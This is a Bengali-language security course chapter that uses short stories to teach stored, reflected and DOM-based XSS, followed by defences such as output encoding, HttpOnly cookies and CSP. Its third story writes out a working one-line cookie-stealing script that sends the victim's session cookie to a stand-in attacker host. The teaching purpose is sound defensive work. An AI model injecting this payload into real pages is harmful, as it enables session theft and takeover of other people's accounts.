🌐 Chapter 21 — Shadow Academy

🧭 দক্ষতা যাচাই ও প্রতিরক্ষামূলক takeaway

Skill checkpoint: Stored, reflected ও DOM-based XSS-এর পার্থক্য ব্যাখ্যা করো।
Defense checkpoint: Contextual output encoding, safe DOM APIs ও defense-in-depth প্রয়োগ করো.
Lab scope: শুধু নিজের lab, synthetic data বা লিখিত অনুমতিপ্রাপ্ত target-এ অনুশীলন করো। Real credential, token বা customer data ব্যবহার কোরো না।

Portfolio proof: finding, impact, fix ও retest নিয়ে ৫-লাইনের redacted note রাখো।

💌 গল্প ১: বিষাক্ত চিঠি পড়ার গল্প — XSS কী?

সৌরভ একটি জনপ্রিয় সোশ্যাল মিডিয়া অ্যাপে তার প্রোফাইলের বায়োতে লিখল:

যখনই অন্য কোনো ইউজার সৌরভের প্রোফাইল দেখতে এল, ইউজারের ব্রাউজার ভাবল — "আরে! সার্ভার থেকে জাভাস্ক্রিপ্ট কোড এসেছে, এটা আমাকে এখনই রান করতে হবে!"

আর সাথে সাথে সেই ইউজারের স্ক্রিনে তার গোপন সেশন কুকি ভেসে উঠল!

এটাই হলো Cross-Site Scripting (XSS)! যখন কোনো ওয়েবসাইট ইউজারের দেওয়া ইনপুটকে কোনো ফিল্টারিং বা এনকোডিং ছাড়া অন্য ইউজারের ব্রাউজারে সরাসরি প্রিন্ট করে দেয়, তখন সেই ব্রাউজারে হ্যাকারের স্ক্রিপ্ট এক্সিকিউট হয়ে যায়।

🎭 গল্প ২: XSS-এর তিন মহারথী (Stored, Reflected, DOM)

• Stored XSS (সবচেয়ে বিপজ্জনক): ক্ষতিকর কোড সার্ভারের ডাটাবেসে পার্মানেন্টলি সেভ হয়ে থাকে (যেমন: কমেন্ট, রিভিউ বা ইউজার বায়ো)। যে-ই সেই পেজ খুলবে, সে-ই আক্রান্ত হবে!

• Reflected XSS: কোডটি লিংক বা সার্চ প্যারামিটারের ভেতর থাকে (যেমন: ?q=<script>...)। ভিকটিম লিংকে ক্লিক করলেই শুধু তার ব্রাউজারে এক্সিকিউট হয়।

• DOM-based XSS: এখানে সার্ভারের কোনো দোষ নেই! ব্রাউজারের নিজস্ব জাভাস্ক্রিপ্ট document.location বা innerHTML দিয়ে আনসেফভাবে ডেটা হ্যান্ডেল করায় ক্লায়েন্ট সাইডেই অ্যাটাক হয়।

🍪 গল্প ৩: কুকি স্টিলার ও নীরব অ্যাকাউন্ট টেকওভার

শুধু alert("XSS") দেখালেই কি হ্যাকিং শেষ? বৃষ্টি ম্যাম বললেন, "আরে না সৌরভ! পপ-আপ তো বাচ্চাদের খেলা। আসল হ্যাকাররা কখনো পপ-আপ দেখায় না!"

আসল হ্যাকার ইনজেক্ট করে ১ লাইনের নীরব কুকি স্টিলার:

<script>new Image().src = "https://hacker.com/log?cookie=" + encodeURIComponent(document.cookie);</script>

ভিকটিম পেজ খুলতেই তার ব্যাংকের লগইন সেশন কুকি নিঃশব্দে হ্যাকারের সার্ভারে পৌঁছে যায়! হ্যাকার সেই কুকি ব্রাউজারে ইম্পোর্ট করে কোনো পাসওয়ার্ড ছাড়াই ইউজারের অ্যাকাউন্টে ঢুকে পড়ে!

🛡️ গল্প ৪: ডিফেন্স — কীভাবে বাগে আনবে XSS?

১. Context-Aware Output Encoding: HTML-এ প্রিন্ট করার আগে < কে < এবং > কে > বানিয়ে দেওয়া।
২. HttpOnly Flag on Cookies: কুকিতে HttpOnly ফ্ল্যাগ দিলে জাভাস্ক্রিপ্ট (যেমন document.cookie) কোনো অবস্থাতেই সেই কুকি পড়তে পারে না!
৩. Content Security Policy (CSP): হেডার দিয়ে ব্রাউজারকে নির্দেশ দেওয়া — "শুধু আমার নিজের ডোমেন ছাড়া অন্য কোনো স্ক্রিপ্ট রান করবে না!"

এই অধ্যায়ে কী শিখবে

বিশ্বস্ত reference